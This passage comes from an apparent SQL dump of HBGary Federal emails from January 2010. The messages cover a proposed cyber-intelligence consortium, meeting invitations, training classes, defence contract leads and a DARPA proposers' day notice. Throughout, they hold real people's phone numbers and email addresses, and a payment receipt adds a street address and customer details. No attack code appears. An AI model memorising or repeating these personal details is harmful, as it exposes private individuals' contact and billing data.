the threat before we can improve our security.\r\n>>> Once we have a better threat picture we integrate more\r\n>>> proactive/reactive security capabilities and more effectively manage\r\n>>> enterprise security based on our knowledge of the threat.\r\n>>> \r\n>>> A good cyber intelligence capability needs to cover and integrate all\r\n>>> areas of cyber: executable, host, network, internet, and social\r\n>>> analysis.  These companies represent a best of breed, complete\r\n>>> end-to-end cyber intelligence picture.  Using Palantir as the framework\r\n>>> for organizing the data feeds from the other companies and overlaying\r\n>>> that data with other social network analysis.\r\n>>> \r\n>>> Application - HBGary (automated malware detection based on traits and\r\n>>> code fingerprinting)\r\n>>> Host - Splunk (host based security monitoring)\r\n>>> Network - Netwitness (Network Forensics, full textual analysis)\r\n>>> Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n>>> zero days)\r\n>>> Social - Palantir (link analysis framework for intelligence)\r\n>>> \r\n>>> I am bringing these companies together in an consortium, they have all\r\n>>> bought in.  Rather than a typical integrator model, keeping the product\r\n>>> companies at arms length, a consortium puts us all on a more level\r\n>>> playing field and forces us to think about the right solution rather\r\n>>> than a particular offering.\r\n>>> \r\n>>> As we talked about before.  There are significant organizational and\r\n>>> contractual impedance\'s from bringing together the necessary pieces to\r\n>>> enhance our cybersecurity.  So it occured to me, why not do for cyber\r\n>>> intelligence what Space-X did for space exploration and satellite\r\n>>> deployments.  Forget the bureaucracy, develop the complete solution\r\n>>> externally from the mad house.  The individual products from these\r\n>>> companies alone are significant, imagine what can be produced once we\r\n>>> integrate them.\r\n>>> \r\n>>> What do you think?\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',534,'aaron_hbgary_com/534.html'),(1436,'2010-01-25','\"Martin Haley Jr\" <info@afceadc.org>','/aaron@hbgary.com/new/1297000408.M691606P3547Q1436.eml','\"Aaron Barr\" <aaron@hbgary.com>','AFCEA Washington Chapter Customer Receipt/Purchase Confirmation','========= GENERAL INFORMATION =========\r\n\r\nMerchant : AFCEA Washington Chapter\r\nDate/Time : 25-Jan-2010 02:45:20 PM\r\nTransaction ID : 2814194731\r\n\r\n========= ORDER INFORMATION =========\r\nInvoice Number :\r\nDescription : Feb 5, 2010 Luncheon, Barr, Aaron\r\nTotal : US $50.00\r\nPayment Method : MasterCard\r\n\r\n==== BILLING INFORMATION ===\r\nCustomer ID : 55146240\r\nFirst Name : Aaron\r\nLast Name : Barr\r\nCompany : HBGary Federal\r\nAddress : 1223 Potomac School Rd\r\nCity : Mclean\r\nState/Province : VA\r\nZip/Postal Code : 22101\r\nCountry :\r\nPhone : (719) 510-8478\r\nFax :\r\nEmail : aaron@hbgary.com\r\n\r\n==== SHIPPING INFORMATION ===\r\nFirst Name :\r\nLast Name :\r\nCompany :\r\nAddress :\r\nCity :\r\nState/Province :\r\nZip/Postal Code :\r\nCountry : \r\n\r\n\r\n',16889,'aaron_hbgary_com/16889.html'),(1437,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000408.M880621P3547Q1437.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Johna','Begin forwarded message:From: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\nDate: January 25, 2010 12:55:06 PM MSTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Johna\r\nOk, sounds good.  I think George Hull is also going to join us as hewill be in the area and we talked about this last weekSee you then\r\nDan-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Monday, January 25, 2010 1:27 PM\r\nTo: Gutierrez, Daniel L (TASC Inc)Subject: JohnaHi Dan,I just spoke with Johna, and it sounds like 3pm Tues is a time that\r\nworks best for the folks Lawrence thinks will attend.Ted\r\n',12525,'aaron_hbgary_com/12525.html'),(1438,'2010-01-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000409.M282218P3547Q1439.eml','all@hbgary.com','community page updates',' \r\nThe community page is updated.  Thanks to Phil for so much material!  We just need your mug shot!\r\n \r\nhttp://www.hbgary.com/community/\r\n \r\n \r\n-Greg\r\n \r\n',12793,'aaron_hbgary_com/12793.html'),(1439,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000409.M489283P3547Q1440.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Invitation: TASC/HBGary Fed Discussions @ Tue Feb 2 1pm - 2pm 	(ted@hbgary.com)','This is from 3-4PM mountain time (5-6 Eastern)On Mon, Jan 25, 2010 at 1:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n more details »\r\nTASC/HBGary Fed Discussions\r\nWhen\r\nTue Feb 2 1pm – 2pm Mountain TimeWhere\r\nColorado Springs (map)\r\nCalendar\r\nted@hbgary.comWho\r\n\r\n•Aaron Barr - organizer\r\n•\r\nrich@hbgary.com•\r\nted@hbgary.com\r\nGoing?   Yes - Maybe - No    more options »\r\nInvitation from Google Calendar\r\nYou are receiving this email at the account ted@hbgary.com because you are subscribed for invitations on calendar ted@hbgary.com.\r\nTo stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',14775,'aaron_hbgary_com/14775.html'),(1440,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000409.M59405P3547Q1438.eml','\"Ted Vera\" <ted@hbgary.com>','Immediate Opportunities','wanted to exchange this first before putting in the cloud just to get down on \"paper\".ARSTRATNGIS DSD - 624th. &nbsp;waiting for intro to line lead, NDA. &nbsp;Going to go see gov. sometime in February.NGES Xetron - ConsortiumMANTECH - IR&amp;D. &nbsp;?TASC -BAA Opportunities1. N66001-10-X-0012 SPAWAR: C4ISR, Information Operations and IT Research.	Response date is Jan 6, 20112.&nbsp;BAA-08-08-RIKA - AFRL:&nbsp;Integrated Cyber Defense and Support Technologies.	Due Date was 02 Jan 2010, but still accepting proposals, just less funding available.3. &nbsp;CyberSynopsis - DHS: Cyber Security Research and Development Center.	RFP Due out early February.4. &nbsp;10-004 - ONR: Computer Network Defense.	Deadline for submittal is May 21, 20105. &nbsp;NWOC BAA ESC 10-0001 - 950th ELSG.	Concept Papers on addressing information operations capabilities focusing on NWO.7. &nbsp;BAA-08-07-RIKA - AFRL: Capabilities in Information and Surveillance (SCIS)	Due date is 1 Mar.What am I missing?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',506,'aaron_hbgary_com/506.html'),(1441,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000409.M682913P3547Q1441.eml','\"Barr Aaron\" <aaron@hbgary.com>','Conf w/Penny','Want to try to schedule a conf call with Penny to discuss the\r\noperating agreement?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',800,'aaron_hbgary_com/800.html'),(1442,'2010-01-25','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000409.M880182P3547Q1442.eml','aaron@hbgary.com,aaron@hbgary.com','Schedule Interview with The 451 Group analyst Paul Roberts','\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n&nbsp;\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n&nbsp;\r\nPlease let me know how you want to pursue. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',8733,'aaron_hbgary_com/8733.html'),(1443,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000410.M167922P3547Q1443.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: TASC/HBGary Fed Discussions @ Tue Feb 2 3pm - 4pm 	(aaron@hbgary.com)','Ted Vera has declined this invitation.TASC/HBGary Fed DiscussionsWhenTue Feb 2 3pm – 4pm Eastern TimeWhereColorado Springs (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;ted@hbgary.com&#x2022;rich@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',4280,'aaron_hbgary_com/4280.html'),(1444,'2010-01-25','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000410.M394031P3547Q1444.eml','\"Aaron Barr\" <aaron@hbgary.com>','Event declined: ARSTRAT Discussions','Ted Vera has declined your iCal event invitation to the event: ARSTRAT Discussions, scheduled for February 3, 2010 at 2:00 PM (GMT+00:00).\r\n',4594,'aaron_hbgary_com/4594.html'),(1445,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000410.M587218P3547Q1445.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Schedule Interview with The 451 Group analyst Paul Roberts','Let me know if u can support.AaronFrom my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 25, 2010 5:00:57 PM ESTTo: aaron@hbgary.comCc: penny@hbgary.com\r\nSubject: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst, would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.  \r\n\r\n \r\nBackground: Penny and Greg Hoglund recently did a corporate update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing  note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n \r\nPlease let me know how you want to pursue. Best, Karen\r\n \r\n \r\n\r\n\r\n\r\n      \r\n',15200,'aaron_hbgary_com/15200.html'),(1446,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000410.M768969P3547Q1446.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Operating Agreement','Hi Penny,\r\n\r\nDo you have some time today to discuss the operating agreement?  Aaron\r\nand I have a couple of questions.\r\n\r\nTed\r\n',3804,'aaron_hbgary_com/3804.html'),(1447,'2010-01-25','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297000411.M127679P3547Q1447.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com,matt@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>','Upcoming Scheduled Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI wanted to give everyone some information about the\r\nfollowing upcoming training classes which have very few, or no students\r\ncurrently enrolled in the them: \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarch 9 &#8211; 10: Introduction to Memory Forensics -\r\nReston, VA &#8211; No students currently enrolled\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarch 16 &#8211; 17: Basic Malware Analysis Using\r\nResponder Professional &#8211; Sacramento, CA &#8211; 3 students enrolled. Class\r\nis originally scheduled to accommodate Lawrence Livermore Labs. We still have\r\nlots of room in this class&#8230;\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nApril 13 &#8211; 14: Introduction to Memory Forensics -\r\nReston, VA &#8211; No students currently enrolled\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nApril 20 &#8211; 21: Basic Malware Analysis Using\r\nResponder Professional - Columbia, MD &#8211; 9 students currently enrolled.\r\nStill room for a few more\r\n\r\n&nbsp;\r\n\r\nIf you know of students who want to attend the above dates,\r\nplease forward their contact information for me for enrollment. \r\n\r\n&nbsp;\r\n\r\nPlease let me know how else I can assist you in filling\r\nthese classes.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax: 916-481-1460\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11954,'aaron_hbgary_com/11954.html'),(1448,'2010-01-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000411.M622441P3547Q1448.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Operating Agreement','Do you have some time to call penny ?Begin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: January 25, 2010 4:48:04 PM MSTTo: \"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;Subject: RE: Operating AgreementSure, I can do that-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Monday, January 25, 2010 2:07 PMTo: Barr Aaron; Penny LeavySubject: Operating AgreementHi Penny,Do you have some time today to discuss the operating agreement? &nbsp;Aaronand I have a couple of questions.Ted\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',815,'aaron_hbgary_com/815.html'),(1449,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000411.M817059P3547Q1449.eml','\"Barr Aaron\" <aaron@hbgary.com>','ARSTRAT','http://www.smdc.army.mil/2008/U-Proposals.asp\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',10812,'aaron_hbgary_com/10812.html'),(1450,'2010-01-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000412.M245212P3547Q1451.eml','\"Jim Richards\" <jim@hbgary.com>,\"Jim Richards\" <jim@hbgary.com>,,,,','Re: Upcoming Scheduled Training','Jim\r\n \r\nI have different dates for the Malware Analysis class\r\n \r\nSacramento Feb 24-25\r\nVirginai March 11-12\r\n \r\nMaria\r\nOn Mon, Jan 25, 2010 at 2:47 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAll,\r\nI wanted to give everyone some information about the following upcoming training classes which have very few, or no students currently enrolled in the them: \r\n \r\n1.       March 9 – 10: Introduction to Memory Forensics - Reston, VA – No students currently enrolled\r\n2.       March 16 – 17: Basic Malware Analysis Using Responder Professional – Sacramento, CA – 3 students enrolled. Class is originally scheduled to accommodate Lawrence Livermore Labs. We still have lots of room in this class…\r\n\r\n3.       April 13 – 14: Introduction to Memory Forensics - Reston, VA – No students currently enrolled\r\n4.       April 20 – 21: Basic Malware Analysis Using Responder Professional - Columbia, MD – 9 students currently enrolled. Still room for a few more\r\n\r\n \r\nIf you know of students who want to attend the above dates, please forward their contact information for me for enrollment. \r\n \r\nPlease let me know how else I can assist you in filling these classes.\r\n \r\nRegards,\r\n \r\nJim\r\n \r\n \r\n \r\nJim Richards | Learning Programs Manager | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax: 916-481-1460Website: www.hbgary.com | email: jim@hbgary.com\r\n\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',3039,'aaron_hbgary_com/3039.html'),(1451,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000412.M30977P3547Q1450.eml','\"Barr Aaron\" <aaron@hbgary.com>','Arstrat: Small Biz Office','http://www.smdc.army.mil/2008/BusinessOpportunities.asp#SmallBiz\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',9154,'aaron_hbgary_com/9154.html'),(1452,'2010-01-26','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297000412.M492899P3547Q1452.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,,','RE: Upcoming Scheduled Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe March dates in Virginia have been cancelled, and move to\r\nApril 20-21.\r\n\r\n&nbsp;\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\nJim Richards | Learning\r\nPrograms Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax: 916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, January 25, 2010 4:28 PM\r\nTo: Jim Richards\r\nCc: Bob Slapnik; Aaron Barr; ted@hbgary.com; matt@hbgary.com; Penny\r\nLeavy\r\nSubject: Re: Upcoming Scheduled Training\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have different dates for the Malware Analysis class\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSacramento Feb 24-25\r\n\r\n\r\n\r\n\r\n\r\nVirginai March 11-12\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jan 25, 2010 at 2:47 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI\r\nwanted to give everyone some information about the following upcoming training\r\nclasses which have very few, or no students currently enrolled in the them: \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; March\r\n9 &#8211; 10: Introduction to Memory Forensics - Reston, VA &#8211; No students currently\r\nenrolled\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; March\r\n16 &#8211; 17: Basic Malware Analysis Using Responder Professional &#8211; Sacramento, CA &#8211;\r\n3 students enrolled. Class is originally scheduled to accommodate Lawrence\r\nLivermore Labs. We still have lots of room in this class&#8230;\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; April\r\n13 &#8211; 14: Introduction to Memory Forensics - Reston, VA &#8211; No students currently\r\nenrolled\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; April\r\n20 &#8211; 21: Basic Malware Analysis Using Responder Professional - Columbia, MD &#8211; 9\r\nstudents currently enrolled. Still room for a few more\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou know of students who want to attend the above dates, please forward their\r\ncontact information for me for enrollment. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet me know how else I can assist you in filling these classes.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax: 916-481-1460\r\nWebsite: www.hbgary.com |\r\nemail: jim@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4882,'aaron_hbgary_com/4882.html'),(1453,'2010-01-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000412.M679780P3547Q1453.eml','all@hbgary.com','new article posted on file handles',' \r\nNew post up on main page for use of file handles.  Will leave it up for a short while, going to keep Phil&#39;s PDF posting up.  When Phil&#39;s new Aurora posting goes up, it will be front and center.\r\n \r\n-Greg\r\n',13941,'aaron_hbgary_com/13941.html'),(1454,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000412.M863833P3547Q1454.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: TASC/HBGary Fed Discussions @ Tue Feb 2 5pm - 7pm 	(aaron@hbgary.com)','Ted Vera has accepted this invitation.TASC/HBGary Fed DiscussionsWhenTue Feb 2 5pm – 7pm Eastern TimeWhereColorado Springs (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;ted@hbgary.com&#x2022;rich@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11941,'aaron_hbgary_com/11941.html'),(1455,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000413.M240519P3547Q1456.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Cyber Genome Program Proposers Day','Hi Rich, Phil & Bob,\r\n\r\nAaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC.  Would either of you Rich, Phil or Bob be able to\r\nattend?\r\n\r\nTed\r\n\r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0efff97ec44aada63117f050bc43d86f&tab=core&_cview=0\r\n\r\nSynopsis:\r\nAdded: Jan 25, 2010 3:59 pm\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of\r\nDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\nBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\nprovide information on the CYBER GENOME PROGRAM; promote additional\r\ndiscussion on this topic; address questions from potential proposers;\r\nand provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.\r\nA second Proposers\' Day Workshop will be held on February 8, 2010.\r\nLocation will be in the Arlington, Virginia area and will be announced\r\non the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION:\r\nThe objective of the Cyber Genome Program is to produce revolutionary\r\ncyber defense and investigatory technologies for the collection,\r\nidentification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,\r\nand/or users to support DoD law enforcement, counter intelligence, and\r\ncyber defense teams. Digital artifacts may be collected from live\r\nsystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as ‘cloud computers\'), from wired\r\nor wireless networks, or collected storage media. The format may\r\ninclude electronic documents or software (to include malicious\r\nsoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technical\r\nareas will develop the cyber equivalent of fingerprints or DNA to\r\nfacilitate developing the digital equivalent of genotype, as well as\r\nobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.\r\n\r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER\r\nGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals per\r\norganization. The Proposers\' Day is intended for participants from\r\nindustry and academia; it is not intended for parties who are not\r\ninterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invited\r\nseparately. Organizations interested in participating in the program\r\nwho are not able to attend the Proposers\' Day, may still register on\r\nthe teaming website: http://www.davincinetbook.com/teams.\r\n\r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required\r\nto submit a U.S. Citizenship Verification form in order to attend this\r\nconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27,\r\n2010. The Citizenship Form is available for download at the\r\nregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is not\r\nrequired to propose to any associated BAA.\r\n\r\n\r\nAdditionally, attendees who would like to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may request\r\nto do so. Presentations may contain 5 slides and are limited to\r\nfifteen (15) minutes each (including logistical issues). Proposers\r\ndesiring to reserve a time to present at the Proposers\' Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil as soon as possible, but no\r\nlater than the registration cutoff date for the Proposers\' Day\r\nConference.\r\n\r\n\r\nAll material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and the\r\nDARPA Program Manager. The DARPA Program Manager will screen the\r\nproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter\'s responsibility to\r\nensure that all material they plan to present at the Proposers\' Day\r\nConference has been approved by the funding organization in advance.\r\n\r\n\r\nAfter the conference, there will be an opportunity to meet\r\nindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship at\r\nlarry.blankenship.ctr@darpa.mil to schedule an individual session.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nContracting Office Address:\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714\r\nPrimary Point of Contact.:\r\nBAA Coordinator,\r\nBAA Coordinator\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',14803,'aaron_hbgary_com/14803.html'),(1456,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000413.M424856P3547Q1457.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome Program Proposers Day','http://www.herbb.hanscom.af.mil/tbbs/R2316/NWOC_BAA_10_0001.pdf\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 25, 2010, at 9:24 PM, Ted Vera wrote:\r\n\r\n> Hi Rich, Phil & Bob,\r\n> \r\n> Aaron would like to attend, but has meetings scheduled with Senior VPs\r\n> at NG and TASC.  Would either of you Rich, Phil or Bob be able to\r\n> attend?\r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> Cyber Genome Program Proposers\' Day\r\n> Solicitation Number: DARPA-SN-10-22\r\n> Agency: Other Defense Agencies\r\n> Office: Defense Advanced Research Projects Agency\r\n> Location: Contracts Management Office\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&id=0efff97ec44aada63117f050bc43d86f&tab=core&_cview=0\r\n> \r\n> Synopsis:\r\n> Added: Jan 25, 2010 3:59 pm\r\n> PROPOSERS\' DAY CONFERENCE\r\n> DARPA will host a Proposers\' Day Workshop in support of\r\n> DARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\n> Ballston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n> 8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\n> provide information on the CYBER GENOME PROGRAM; promote additional\r\n> discussion on this topic; address questions from potential proposers;\r\n> and provide a forum for potential proposers to present their\r\n> capabilities for teaming opportunities.\r\n> A second Proposers\' Day Workshop will be held on February 8, 2010.\r\n> Location will be in the Arlington, Virginia area and will be announced\r\n> on the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n> \r\n> \r\n> PROGRAM OBJECTIVE AND DESCRIPTION:\r\n> The objective of the Cyber Genome Program is to 